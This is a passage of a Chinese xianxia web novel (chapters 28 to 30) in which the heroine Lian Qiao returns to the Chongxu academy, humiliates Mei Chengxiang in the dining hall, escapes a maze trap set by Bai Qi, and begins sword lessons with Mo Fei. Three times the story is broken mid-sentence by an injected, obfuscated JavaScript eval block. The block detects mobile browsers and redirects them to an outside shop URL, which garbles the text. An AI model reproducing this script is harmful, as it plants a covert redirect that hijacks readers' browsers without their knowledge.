而乾元剑宗依靠这近水楼台先得月的先天优势,将所有优秀的弟子都纳入囊中。 乾元剑宗极注重弟子教学,所有入剑宗的弟子,都必须在冲虚学府修行,且必须修够五年,所有考试全部通过,才能够结束这一段修行,进入入门阶段。 当然,为了防止弟子流失被无极剑宗截胡等情况,乾元剑宗也会破格提前选走天赋极高的弟子,而被选走的弟子可以一边在学院学习,一边跟随长老历练。 所以乾元剑宗中的弟子也分有三个等级,一是入学府便被剑宗长老选走,二是在学府修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915794|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行三年后,参加入门比试大会,打败所有的对手再拜入宗门,最后便是在学府五年年也不得拜入内门,曲线救国拜入外门,外门拜入内门也有选拔渠道,也有天赋不高,但是极为努力的弟子通过这种方式最后拜入剑宗。 像杨无溟、同月等人便是第一种方式入门,云招摇,白祺等人都是第二种方式拜入内门。 云招摇在冲虚学府已修行三年,再修完两年课程,参加完所有的历练,便可不再参加冲虚学府的综合化修行,转而留在长淮峰,开始真正的剑修生涯。 白花惊是乾元剑宗天中峰峰主白望天的女儿,但是她灵根斑驳,天赋很低,即使背景雄厚,已在剑宗修行四年,也仍旧不能入宗。 乾元剑宗的选拔的严苛性,如此可见一斑。 刚走到门口,白花惊的肩膀被拍了一下,她转过头,梅承襄朝她扬一扬下巴,“小白花。” 白花惊眼笑得弯弯的,“师兄。” “师兄是来找我的吗?” 青梅竹马的承襄哥哥微微一笑,“当然不是,我来找招摇的。” 白花惊抿了抿嘴,“哦。” “招摇,我找我爹问了,他有个朋友那里有一个中品驻颜丹,应该能帮白祺解决脸上疤痕的问题。” 云招摇笑起来,“太好了师兄!” 看到心上人露出明媚的笑容,梅承襄的心情格外好,他拍拍胸脯,“那当然,你也不看看是谁出手了!” 说完他“啧”一声,“不过太可气了!明明连翘那妖女那里有上品驻颜丹,她居然不肯拿出来。” 白花惊伸过头,“师兄你怎么知道她有驻颜丹?” “在秘境她打开过她的芥子,我看到了。”他面色不善,“你是不知道,她芥子里有成山的东西,自己明明什么都不缺,别人有需要的东西,哎,她硬是不给!” 梅承襄“嘁”地冷笑一声,“她这个不学无术的废物,现在还有点长进,能自己打开芥子,以前连唤灵都唤不出来的。” 他大肆嘲弄着,忽然被人猛地撞了一下。 正好在入门的时候,门槛老高,他被门槛绊得往前一冲,滚了两圈才停下来。 他转过头正要破口大骂,一转过头,“雾草!” 连乔抱着胳膊看他,“学堂内,不得出口成脏,你这个没有教养的废物。” “你骂谁废物呢?!” “骂你呢!”连乔面不改色从他身上跨过去,“作为内门弟子,连我这个外门弟子撞你一下你都受不住,你是不是不行?” 梅承襄气急败坏,“你骂谁不行?!” “哦,你不是不行。”连乔选了个中间的位置坐下,“你虚啊?” 梅承襄愣了一下,脸都憋红了,“你这个妖女,你思想龌龊!” 连乔莫名其妙,“你在说什么,我什么脏话也没说你就说我龌龊?” 她忽然倒吸一口气,捂着嘴,“你究竟在想什么,你脑子里装的都是些什么东西。” 梅承襄:“……” 他从地上爬起来,十分不解望着连乔背影,这个时候他才反应过来,“哎,不对,她怎么来这里了?” 28.第 28 章 连乔坐在学堂中间的位置,清晨的阳光洋洋洒洒,透到空旷的教室里,窗明几净。 上午上课的老师开始讲习,主要是修符箓。 课上老师为了让大家理解更深入了解符箓的种类与效用,不仅用留影石重现了使用符箓时的作战作用,还直接上手教各个学生画符。 严老先生虽然严格,但是因材施教——像连翘这种出了名的二混子,他知道她画不成符,便“贴心”地没强制她课上画出来。 因为以她练气一期的能力,真画成了,这符也没人敢用。 来之前默非同她说,今日上午讲课的老师姓严,人也很严,让她上课认真点。 为了防止再发生类似几年前的一系列“意外”,比如逃学、课上打瞌睡等,来之前南道给她念叨了十几遍,叫她好好珍惜这次重回冲虚学院机会,好好学习不要浪费光阴。 连乔表示自己全部听进去了,“学习嘛,其实是提升自己最简单的方式了。” 南道几乎老泪纵横,“你可终于开窍了。” 来到课上,连乔开始认真学习。 这么好的条件,又有这么好的背景在支持她,在九州大陆乱套前,她必须要抓住一切机会,让自己有自保的能力。 况且,在冲虚学院,还能够离子午谷远一些,也有机会弄清自己修为不得突破的原因。 听完一上午的课,连乔跟着学画符,画了十几张,没有一张能用。 这可就太离谱了哦…… 终于等到下课,连乔伸了一个懒腰,顿时神清气爽。 “咕噜咕噜……”肚子不合时宜地叫起来,连乔正在犹豫要不要去吃点东西,也不知道剑宗里面有没有食堂。 来之前,默非和南道只叮嘱她要好好学习,却没有告诉她如何解决吃饭的事——那两位不知道多少年前就已经辟谷了,他们不需要吃饭。 而且为了防止她在课上偷吃零食,打乱课堂秩序,南道还用心良苦在她芥子里放灵药灵果的一层上了锁,美名其曰帮助她抵御诱惑。 连乔:…… 他到底是侍卫还是管家。 也不知道原主当初是怎么解决用餐问题的。 正想着,脑海中“嗞”地一声电流声,连乔不自觉地捂住了头。 “宿、宿、宿宿宿宿宿宿宿宿主,以前原主在饭堂……吃、吃、吃吃吃吃吃……” 识海中传来机械的电子音,咔咔咔的,卡顿的系统努力想正常运转,却忽然“嘎”一声,一切戛然而止。 它又抽过去了。 连乔习惯了,这么长时间没见过这系统,现在它重新出来,反倒有些新奇。 从始至终连乔也没指望过系统,它能不能给提示无所谓。 但她确实很饿,怎么办呢,刚刚系统说原主在饭堂吃饭,饭堂在哪呢? 忽然面前伸过来一只手,连乔转过头,一个高挑的女孩子将一个木牌递给她,“给你。” 女孩子菱形脸,眉目温柔,在胧月秘境连乔见过她几次,乾元剑宗那几位叫她“灵玉师姐”。 “给你,你刚回来,应该还没来得及制作饭牌。”陈灵玉友好一笑,“你先用我的吧。” 连乔回想,原主曾经在冲虚学院学习过一段时间,也是在那时候结识黑曜一群人的。在以前的时间里,连翘不是鬼混就是玩乐,好像很少和剑宗内门弟子打过交道。 这位灵玉师姐,连翘应该是不熟的。 她接过木牌,朝她笑道,“多谢师姐。” “不用客气,去吃饭吧。” 连乔不知道饭堂在哪里,虽然来之前她看过地图,但是无奈她是个路痴,对方向的辨认能力几乎为零。 出了门她就跟着浩浩荡荡的弟子们往前走,好在其中一部分人都是没筑基的普通人,没有辟谷,所以她也跟着其中一拨人找到了饭堂。 陈灵玉帮严老先生收好东西,恭敬地喊了一声,“师父。” 她是乾元剑宗的内门弟子,也已经修完五年的课程,来这里是因为下一场历练要开始,所以前来与师父道别。 “最近又是哪里出了事啊?”严青山摸了摸花白的胡子。 陈灵玉回道:“梧桐岭一带最近出现了许多邪祟,已经有很多村民不明不白地失踪了。官府本以为村民是被山间野兽叼走,但是后来有樵夫上山砍柴,找到了其中一名遇害村民的尸体,尸体上有妖气,这才发现了不对。” 严青山的手顿住,若有所思,“又是妖族吗,最近过于不太平啊。” 陈灵玉垂下头,严青山叹一口气,“去吧娃子,我知道你救人心切,但是妖族凶狠残暴,你去除祟也要注意自身安全啊。” “好的师父。” 陈灵玉拜别师父,前去与此次一同去灭邪祟的弟子们汇合。 路上碰到梅承襄几人,除了云招摇和林锦绣,白祺也在。 白祺的脸色好了很多,伤早就养好了,但是因为毁了容,一直待在房间内不肯出来。上午她刚服用了驻颜丹,现在脸上恐怖的疤痕也全部淡去。 “灵玉师姐!”梅承襄远远朝她招手。 “师姐,你是不是东西丢了?”梅承襄急忙跑过来问她。 “没有啊。” “许是我看错了,师姐你没丢东西就好。”云招摇微微一歪头,看到她身上背的包裹,“师姐又要下山吗?” “是的,要出去处理一些事”陈灵玉朝他们淡淡笑笑,“他们还在等我,我先走了。” 林锦绣望着陈灵玉的背景,“师姐最近是不是不高兴啊?” “废话。”白祺白她一眼,“师姐心肠一向温善,这次山下出了大事,她能不操心嘛。” 是嘛? 林锦绣觉得怪怪的。 师姐对他们好像没有以前好了,自胧月秘境回来后,她就总和他们保持着若有若无的距离。 连乔找到饭堂,饭堂共分为三层,每一层的东西都不同,一层卖的主要是普通的饭食和瓜果,便宜且量大管饱。 二楼的种类比一楼少,档次要高一些,有很多灵食与灵果,大多对修行有益,同样价格十分昂贵。 三楼则是独立的包厢,大多是有外面的贵客,或者是冲虚学院请外面的老师所用,偶尔有学生相聚,不想出门,也会选一个单独的包厢来用餐。 “哎,那个弟子我没有见过,邵吴兴你见过吗?” 站在二楼啃糖瓜少年一伸脖子,“好面熟啊,好像在哪里见过,但是又好面生啊,好像没怎么见过。” “你在说什么废话?”邵吴兴一伸手,想把伸头的童元宝拉过来,“快吃饭。” “这些东西索然无味,还是一楼的东西好吃。”童元宝又伸头往下看一眼。 凌阿“呵呵”一笑,“你看你脖子都要拧过去了。” 童元宝将糖瓜三两口啃完,坐回桌上,“啊,来了新美人你们不好奇吗,不,我好奇,我想下去看看,是兄弟你们就陪我下去。” 凌阿:“不去。” 邵吴兴:“不去。” 迟星垂:“不去。” 童元宝一巴掌拍在桌上,“还是不是兄弟了,都不去是吧,我自己去……啊呀我天呐。” 连乔在楼下转了几圈,选了几个菜,端着准备找个地方坐下。 背后被猛地什么撞了一下,随后左半身一热,低头一看,衣袖上铺满了红红绿绿的菜肴,菜汁顺着她的袖子往下滴。 “啊,不好意思,没看到。” 梅承襄翻了一下白眼,“你走路不看身后的吗,不知道挡着人了吗?” 连乔: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12982416|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我又不是狗,走路喜欢乱撞,为什么要乱看?” 梅承襄脑子一热,“你骂谁呢?” “我骂狗啊。”她左顾右看一遍,“怎么了,你是狗吗你就在这叫?” “你……你!”梅承襄气得鼻子都歪了,“你这妖女,不仅喜欢做小偷偷别人的东西,嘴还这么脏!” 连乔:“怎么,你又丢什么啦?”偷什么,她不偷,她都是抢的。 “你看看你手里的东西,你自己一年前就被逐出学院了,院长没收了你一切的东西,你哪里来的饭牌来吃饭?” 站在一旁的白祺道,“方才我来……这里,看到她拿着灵玉师姐的饭牌。师姐急着下山……去除祟,连自己的东西丢了都、都不知道。” 她刚吃驻颜丹不久,那颗驻颜丹纯度不高,还有副作用,所以她的容貌是恢复了,短时间却因为排杂的原因说话不利索,还有些大舌头。 梅承襄冷笑一声:“还说呢,你们妖修就是这样不要脸!” 说着他就要去抢连乔的饭牌。 饭牌是一个惯了灵力的木牌,里面存了灵石,吃多少,就会扣木牌里面相应的灵石数。 乾元剑宗内有许多寒衣子弟,吃不起昂贵的灵果灵草,就会吃一楼相对便宜的饭菜。 连乔一个走位,避开梅承襄伸过来的魔爪。 她冷冷盯着他。 再动一个试试呢? “死妖女,你偷人家东西还不敢承认,还净挑贵的买,还买这么多,瞧把你馋得吧!” 他的声音很大,立刻将所有人的目光都吸引过来。 他很得意地向各位介绍:“来来来,大家看看啊,这就是去年因为拜乾元剑宗比试大败的连翘,这个丧家之犬当初落败,义愤填膺地走了,旷课了三个月,也因此被冲虚学院除名。” “大家快来看,现在这个除名的死妖修又回来了,不仅回来了,还偷了灵玉师姐的东西,我戳穿她,她还想撞我。” 花公鸡望向连乔,“你都气坏了吧,憋着不难受吗?可别生气啊,冲虚学府禁止学生大家斗殴,否则逐出师门。” “不过也没关系,冲虚学府也禁止学生偷盗,违者同样逐出师门。”他指着连乔,“你完了,妖女。” 他一口一个“死妖女死妖修”,叫得旁边云招摇的脸也白了。 连乔冷声一笑,“我是妖修你就这么叫,以后你身边的一堆妖妖鬼鬼的,我要看你怎么跳?” 云招摇抬眼,小鹿一样的双眼里有一瞬间的惊慌。 “什么我身边?”梅承襄往两边看一圈,“嘁,你这死妖女胡说一通的,我看你是不到黄河心不死!” 说着他便扑过去抢“赃物”,他可太讨厌连翘了,这次一定要想办法将她轰出去! 连乔的身形像鱼一样,又是一个走位,完美避开他,不让他碰自己的美食。 “这位花……梅公子,哪里听来的谣言,要你这么栽赃我?” “谁栽赃你了?”梅承襄一指白祺,“我人证……”又指了指连乔端着的掌盘,上面有一个反盖过来的木牌,“物证俱在,你狡辩不了!” 连乔点头,“那好吧,我配合你。” 梅承襄望向她:“配合?你是自愿伏法吧?” 连乔“呵呵”一笑,“这样吧,要是我偷了别人的饭牌,我自愿退出冲虚学府,更不会去拜入乾元剑宗,并且自此后消失在你们的眼前,再也不会出现,怎么样?” 梅承襄:“这还差不多。” “但是呢,如果我没有偷……”连乔邪魅一笑,“我是个善良的人,我不需要你退出剑宗……” 连乔笑眯眯看着他,“我要你脱了裤子,绕着冲虚学府跑三圈,一边跑一边喊,我错了我再也不敢了!” 梅承襄:“啊?” 29.第 29 章 梅承襄的脸色格外难看。 连乔的手搭在掌盘上,“啊什么,怎么,玩不起啊?” 她这副云淡风轻的样子,让梅承襄还有些心虚,也不敢这么笃定了。 白祺往前一横:“赌就赌,谁怕谁啊!” 梅承襄转过头:尼玛的…… “哎,白姑娘,这可不是赌啊。” 连乔才不会给她钻漏洞的机会,“冲虚学府禁赌,你们这是许下承诺,跟赌没关系,最后要是没有诬陷我成功,做的承诺是要兑现的哦。” 梅承襄:“要不我们……” “好,一言为定!”白祺伸手就去拿连乔盘子中的饭牌,“我明明看到你用的是师姐……哎?” 之间灵牌崭新,上面刻着两个大字:连翘。 白祺不可置信,她来回翻了两遍,发现这灵牌不是假冒的,也确实是连乔本人的。 怎么回事,她明明看到的是连乔用了师姐的饭牌,她当时就站在妖女身后,亲眼看到的啊! “你怎么会有饭牌?!”白祺冷冷盯着她,“你不是被逐出冲虚学府了吗?” “这个问题问得好。”连乔几乎想为她鼓掌,但是苦于手上还端着盘子,没办法动。 “我是被逐出学府了,但那是去年的事。我去年被退了,今年就不能重新再入门吗?” 白祺冷“哼”一声,“谁知道你耍了什么手段进来的。” “我当然是耍了手段进来的啊。”连乔道,“我花了好多钱呢,你们院长本来不肯收我,但是我说我要捐三座楼,两栋藏书阁和一支灵脉,他迟疑了。” 白祺:“呸,你以为谁都能被钱收买吗?” “嗯,你们院长也这样说,然后他迟疑了一下……又说,一份这样的捐赠不行,得再来一份。” 白祺脸颊抽搐,“有钱、了、了不起啊!” “是啊,有钱没什么了不起的,尊严也没那么重要,当初要是梅承襄肯愿意为你低头求我一下,我当场给你一颗驻颜的丹药,你也不至于像现在这样脸部僵硬,还变成结巴。” “你……” 连乔输出完,又转过头望向梅承襄。 梅承襄的脸涨得通红,他好像快要碎了。 他什么也没说,转身就走。云招摇担心他,跟在他后面喊,“师兄,师兄你没事吧。” 刚走两步,有什么东西从天而降扣在他头上。 梅承襄还没发应过来,另一侧的头也被扣上一个碗,一边一个,活像一个小闹钟。 紧接着一碗菜、一碗肉、一碗饭、最后有汤水“哗啦”一声淋下来。 云招摇愣了,“师兄……” 梅承襄转过身来,便看到连乔站在他身后,高举木制掌盘,猛地往下一贯。 “砰!” 梅承襄咆哮:“连翘你这个死妖女,你到底要干什么?! “啊,不好意思,没看到。” 连乔翻了一下白眼,“你走路不看身后的吗,不知道挡着人了吗?” 梅承襄:……为什么这句话似曾相识? 他简直无语了,扬起拳头就要落下来,连乔往后退一步,“哎,师兄别生气啊,冲虚书院禁止打架斗殴,违者要逐出师门的。” 连乔指着他:“师兄,我可是连筑基期都没到的人哦,你这是欺负弱小,更是罪加一等哦!” 我的天,怎么会有人把自己没筑基说得这么理直气壮啊!!! 梅承襄长这么大,从来没有受这么大的气,他握紧了剑,想砍但又砍不下去。 云招摇的脸都白了,“师兄,你不要紧吧?” “你师兄怎么会不要紧呢?!”连乔“哈哈”一笑,做了个脱衣服的动作,“你师兄明天还要脱裤子绕着冲虚书院跑三圈呢,啊哈哈,啊哈哈,啊哈哈哈哈哈哈哈……” 周围人窃窃私语。 【不会吧,梅师兄这么要脸的一个人。】 【就是啊,他向来脸比命重要,让他裸奔,他还不如死了呢!】 【但他确实打赌输了啊,君子重诺,就算是去寻死,也是要先奔一下啊。】 【啊,说实话,我还想看看呢。】 【啊呀林三娘,你要不要脸啊……】 【我有点要,但是我更想看。】 【……其实我也是,嘿嘿。】 向来要风得风要雨得雨没受过挫折的梅承襄一抽气,往后一仰,晕了。 连乔像没事人一样,拂了拂衣服离开,深藏功与名。 站在二楼一直看戏的几个人,简直是目瞪口呆。 童元宝原本还想去搭讪,现在伸出去的腿又缩了回来。 阴柔的男子又“呵呵”一笑,“嗯,你不是想去找她么,怎么不去了啊?” “我的天呐,这么美的一张脸,怎么做出这么癫的事儿啊……” 是怕她把饭扣你头上,还是怕她要你大庭广众之下脱裤子跑啊? 他转头一看,旁边的高个男人不出声,又“呵呵”一笑,“吴兴这是怎么了,被吓到了吗?” 邵吴兴一拍桌子:“有个性!” “这女子太与众不同了,我邵吴兴一定要去追求她!” 正在喝水的迟星垂:“噗……咳咳咳咳咳……” 凌阿:“迟大公子这是怎么了,你也被击中了内心么?” 迟星垂:“……” 他望向连乔离开的背景,微微吐了一口气。 果真呢,她说很快会再见面。 真的又见面了呢,连翘。 你果真,又给了我一个大惊喜。 …… 连乔回到课堂,下午是长淮仙尊的课,长淮仙尊善弄剑,以防守著名。 连乔吃完饭便沿着原来的路回去,但是很奇怪,回去的路莫名其妙变了,走着走着又绕回原处。 连乔奇了怪了,越往下走,好像离课堂越远。 再一次绕回学堂外的丹桂树下后,她直接坐了下来。 不对啊,上午走这条路的时候,明明门就在月桂树前啊,为什么现在门消失了呢? 虽然她是路痴,但是她又不傻,总觉得哪里不对。 马上就要上课了,再找不到门,肯定要迟到了。 正想着,一个白色身影从眼前跑过,急匆匆的,口里一直含着“要迟到了要迟到了”,连乔认出来这个是上午和梅承襄一起走的小姑娘。 她跟在小姑娘身后,但是忽然间,那小姑娘穿墙而过似的,“咻”地没了踪影。 嗯? 这下再迟钝,连乔也知道自己中计了。 她绕着墙走了几步,忽然在墙脚处看到一个狗洞,有熙熙攘攘的声音从洞里传来,有一个严肃的声音道,“同学们安静一下,马上开始上课,长淮长老很快就过来了。” 那端的嘈杂声在瞬间安静下来。 连乔望着狗洞,若有所思。 “你快进去吧,再不进去,先生就要罚你了。” 连乔转过头,就看到白祺一张僵硬的脸,“我劝你快一些,长淮长老最讨厌迟到的人,现在再不钻狗洞进去,迟到了先生就不知道怎么罚你了。” 连乔眯了眯眼,“噗”地笑出来。 “你笑什么?” 连乔一本正经地,“上正经老师的课要走大门,上狗老师的课才要走狗门。” 白祺脸色猛地一变,“你骂谁呢?” “骂你师父呢,没教好你怎么待人处事,这么侮辱自己师父。” “你找死!”白祺伸手就要打她,连乔道,“冲虚学院禁止斗殴,对着狗洞可是能看到你打我的。” ”我用了障眼法,没人看得到你,我今天就要打你,我看你能怎么办!” 她提剑便刺,连乔却以极快的速度躲开,白祺顿了一下,似乎不相信她有这么快的闪躲能力。 看来梅承襄说得对,这妖女在修为上确实有长进。 白祺出剑很快,连乔祭出剑去横挡,躲开她迅猛的两招。 但是她毕竟只是练气期,白祺的修为是碾压她的,即使她躲得快,手背还是被剑气划伤。 几颗血珠滚落下来,连乔缩回手,脸色阴恻恻的。 白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12982417|132129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祺从鼻子里哼出一声,“看来必须得给你点教训,你才能长记性。” “铛铛……”悠远的钟声从背后传来,几乎在一瞬间,原来鬼打墙的长路忽然有了尽头,无穷无尽的长墙也终于消失,在丹桂树之前,毅然出现一座大门。 白祺立刻站直了,“糟了,迟到了。” 她迅速收起剑,急冲冲地往门内赶。 “白祺姑娘。” 白祺转过头,连乔正在用手帕缠伤口,手帕上绣着热闹的连翘花。 她垂着眼包扎,说话的时候却并不看对方。 “你觉得你进得了乾元剑宗就有了靠山,我便不能拿你怎么样。”她抬起眼,瞳孔漆黑,“这一点我想你是想错了,因为乾元剑宗总有照顾不到的时候。” 她举起右手,修长白皙的手上看不到伤口,她还细心地将手帕打成蝴蝶结。 “你放心,这一剑,我会还给你的。” 她的瞳孔漆黑深邃,有种说不上来的幽暗,白祺莫名打了个冷噤,但很亏恢复过来。 她明朗一笑,“好啊,我等着。” 说着一脚踏进了学堂的门。 连乔紧接着跟进去。 “站住。” 站在学堂前方的老先生续着白胡,一双绿豆眼透亮,闪着抖擞的光,他望向还要向里面走的连乔,“我叫你站住。” 一道剑光横在连乔面前,只差一厘米就要穿过她面颊。 “你迟到了。”那位老先生连看都不看她,“我的课堂,从不欢迎迟到的没规矩的学生。” 连乔指着在她前一步的白祺,“她可以进去,我不行?” 白胡子老头没听到一般,“出去。” 连乔转了转眼,正对上白祺一双狡黠的双眼。 剑光逼着连乔往后退,连乔举起双手,一直退出教室门外为止。 学堂门“轰”地一声关上。 连乔缓缓呼了一口气,摸了摸手背上的伤口。 原来原主在这里被这么排挤啊。 啧,这过得什么日子? 算了,长淮长老也不是什么好货色,既然他这么为难自己,她也懒得耗着。 在外面罚站还不如逃课呢。 路过方才困住她的迷阵,残阵正在消散,此时还剩一半,残破不堪。 连乔这才注意到,这个阵法很简单,手法拙劣,但是她修为很低,所以才着了道。 识海中的灵力开始模仿这迷阵的运行轨迹,外面灵气翻涌,不断涌入她身体,原本的裂缝忽然“咔擦”一声,继而崩塌,有无数道丝丝缕缕的灵线穿过躯壳。 再睁眼,已经是晚间,她正站在学院外面,有人在窃窃私语,说什么“破一期”“连跨两期”之类的话。 连乔看了看自己的手腕。 嗯,练气三期了,离开了子午谷,居然升得这么快么。 正是学堂放学时间,所有同学都在往外走,连乔看到长淮长老审视的目光,笑了一下,“多谢这位师父送我出来,您真是一位有趣的师父,是知道外面灵气逼人适合我突破,所以才逼我出来吧?” 她十分感叹,“果然是乾元剑宗啊,里面的人确实不一般。” 正要冷“哼”的长淮长老猛地将鼻腔中的声音压回去,呛了一下。 连乔笑笑地,“师父明天再指点指点我,现在都已练气后期了,想必我离筑基不远了。” 白祺翻了个白眼,不就是练气三期么,用得着这么嘚瑟? “呵呵,摸不到筑基之门的人多得是,这才到哪儿啊,有些话别说得这么满。” 连乔点头,“看来白师姐最近修为没什么长进,所以才说得如此真心实意。” 白祺眉头拧起,却没有反驳。 离开冲虚学府,连乔想着怎么下山去找默非他们,有一只纸鹤飞过来,落在她面前。 信上写着:连乔姑娘,可否来乾元剑宗一聚,我等有事拜托姑娘。 落款是梅远方。 梅远方?没听过,但连乔大概猜到了这是哪位。她没理会,拍了拍袖子往山下去了。 30.第 30 章 天色已晚,暮色将天空渡上一层金边,有大片大片鱼鳞状红褐色的云,一层又一层地铺开,卷到远处。 连乔想要下山,三面狐他们还在云来城。学堂离云来城不远,御剑需要半个时辰,但山上有飞舟,每半天出发一次,每次三颗灵石。 连乔选择飞舟,一来是她恐高,第二是飞舟的速度比御剑快,可以在两盏茶功夫后到达云来城。 等夜幕笼罩,云来城终于重新灯火辉煌,连乔终于到达借酒楼城。 三面狐等她很久了,看到她耳朵都竖了起来。连乔拍拍它的头,它的嘴咧到耳根,她往它嘴里塞了一把干果。 默非正在摆卦,知道连乔回来头也不抬,连乔坐在他对面,“你一天天地这么练习算卦,应该算得很准。” 默非躲开连乔伸过来的手,“比如我现在就算得出来,你今日又闯了祸事。” “这都能算到啊?” “不用算。”他说,“每次都如此,习惯了。” “哈哈。” 这时候南道凑过来,“连乔,又怎么了,需要我们出面帮你摆平吗?” “不用,我会处理好的。”连乔拖开椅子坐下来,“我这次下山,不是来告状,我来找是有别的事。” “什么事,让你大老远从冲虚来云来?” “我希望你们叫我练剑。” 南道:“……你在学堂干啥了,冲虚学院的老师一个比一个优秀有能耐,哪个剑修老师教你不好,你到我们这里来学剑?我们两个人都不会剑,能教你啥?” 连乔没理会他,只是定定地望着默非。 “连乔你是不是……” “南道你少说话,我没问你。”连乔靠在椅背上,望向默非,“你说呢,我请教你,如何?” 默非终于是抬眼看她了,他眯起眼睛,“你为什么会觉得我愿意教你?” “主要我不想让南道教,他的话太多了,你话少我不觉得吵。” 默非:“呵。” “我不去冲虚练剑,是因为今天出现了一些不怎么愉快的事。” “乾元剑宗那群人是不是又欺负你了?”南道刚要发火,连乔示意三面狐驼他出去,南道又停了下来。 “你放心,我会反击的,只是现在不是时候。”连乔道,“练剑,没有师傅领进门,很难有长进,我不想把时间浪费在自我摸索与内耗上,所以我需要你指点我的剑术。” 南道:“那怎么能随意指点,他修的是邪路子,你半路上走火入魔了怎么办?” “他不是。” 连乔望着默非,忽然笑了一下,“就算修歪了,我也死不了,下个月会有测试,往年我年年倒数,今年我不想继续延续这光荣传统。” 一想到这里南道就来气,“可是我们送了那么多东西给冲虚学院,怎么还有人为难你呢,你说要不要再送……” 连乔眼一横,“我的钱是大风刮来的?” 南道:“……不是。” 连乔转头望向默非,双眸半垂,心里在盘算着一些事。 默非眸色微敛,“教你剑术,自然可以。不过么,你白日仍旧需要去冲虚学府学习课程,晚间可以回云来城,且日日如此,风雨不可阻。” 连翘不算好吃懒做,但是确实没那么勤快。练剑是一件辛苦的事,太多人坚持不下去。 日日来往冲虚学院与云来城之间,需要极大的毅力,她连御剑都不会,想来也坚持不了几日。 “成交。”连乔做了个手势,示意默非现在就开始讲课。 默非抬眼,“这么急?” “嗯,先学,等会儿还有别的事要处理。”连乔摆开剑谱,让默非从最简单的引气入剑开始说起。 “剑修——专注于修炼剑术和剑意,”引气入体”是修炼剑意中的一个重要阶段,将天地灵气与剑意同时引入体内,让剑气与自己合二为一。” “引气入剑并非强制引导,而是自身之气与长剑意识自由交换,引气入剑体后,会感受到剑体之气如同长风一般涌入体内。” …… 默非严格控制住连乔修剑时间,等东方翻出鱼肚白,他弹琴的手顿住,又在长琴上来回一拨,一直处于冥想状态的连乔猛地睁开眼。 胸腔中充斥一股力量,这种力量是以前前所未有过的,酣畅淋漓。 只是刚引剑意入体,便是如此澎湃么?如果真走上剑修之路,又该是何等畅快? 默非继续将手拢在袖中,三面狐一直盘卧在一旁,等连乔醒来,它充当扶手,自动钻到她手下,扶着她起来。 连乔抬眼望着窗外,不早了,现在回冲虚学府,还赶得上最早的课。 她拍拍三面狐的头,“先走了,晚上我会回来。” 每隔一个时辰,便有一架飞舟穿破云层,从云来城至乾元剑宗,在乾元剑宗再走过三十六峰,方可抵达冲虚学府。 云来城的飞舟在乾元剑宗十八天梯前停止,再往里走,只能御剑飞行,不可再使用任何飞行法器。 连乔站在乾元剑宗门口,望着那高耸入云的成片的山峰,叹了一口气。 昨夜下山时刚好碰到出山的白玉舟,剑宗内飞舟可出山,但剑宗外飞舟不可入门,从乾元剑宗往冲虚学府倒是有专有的白玉舟,但一个时辰才有一趟。 方才刚过一趟,等下一趟,还要有一个时辰,就赶不上早上的课了。 连乔从芥子中取出灵牌,灵牌名为万机,功能强大,可储存信息,也可与灵气相连的万机相互传送简讯,类似她上辈子用的手机。 连乔从万机中查到,今日讲课的老师是虞南子,主剑修,其他家多修,是位深入简出且十分神秘的修者。 原书对他只一笔带过,迟星垂之师虞南子修为强劲,深不可测,脾性难以捉摸。 脾性难以捉摸? 连乔想起长淮子,虽然她不在乎一个糟老头子无端的恶意,但是老是让他们抓到把柄,让他们针对自己,也没有什么好处,还会很耽误事。 还是不要迟到了。 连乔思索,要怎么样在半个时辰内穿过层层叠叠的山峦。 难道真的要御剑么? 可是…… “师妹,要去学府么?” 连乔转过头,看到四个少年。 站在最前方的少年白皮肤椭圆脸,笑起来有些狡黠,“正好我要去学堂,我可以与你同路。” 连乔看到几个人,迟星垂也在后面,她点点头,“行。” 这几人和乾元剑宗的弟子不同,并没有着统一的弟子服,而是穿着各异 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邵吴兴:“……” 他脸色纠结,他正在想,怎么和连乔搭上话呢,结果这家伙一开口就问这么尴尬的问题,一瞬间气氛冷了下来。 但连乔没觉得冷,她转过头望着他,“恐怕你看不到了。” 童元宝:“为什么?” 连乔一脸惨淡,“梅承襄可是天门峰梅峰主的儿子,真让他这样跑了,梅峰主会针对我的吧?” 童元宝:“……那你泼人饭的时候怎么没这觉悟呢?” “我当时一时冲动。”连乔脸色凄惨,“怎么办,我好害怕。” 迟星垂看不下去了,他拆穿她,“你这样子,不像是害怕。” 明明是新仇旧恨一起算,恨不得让梅承襄直接找地洞钻进去。 连乔眨了眨眼,“哈哈,但是我认为你们看不到想看的东西。” 邵吴兴:“我们不想看。” 凌阿:“为什么?” 走在人群最后面的迟星垂忽然出声,他提醒连乔,”看路。” 正说着,几人来到一处吊桥前。 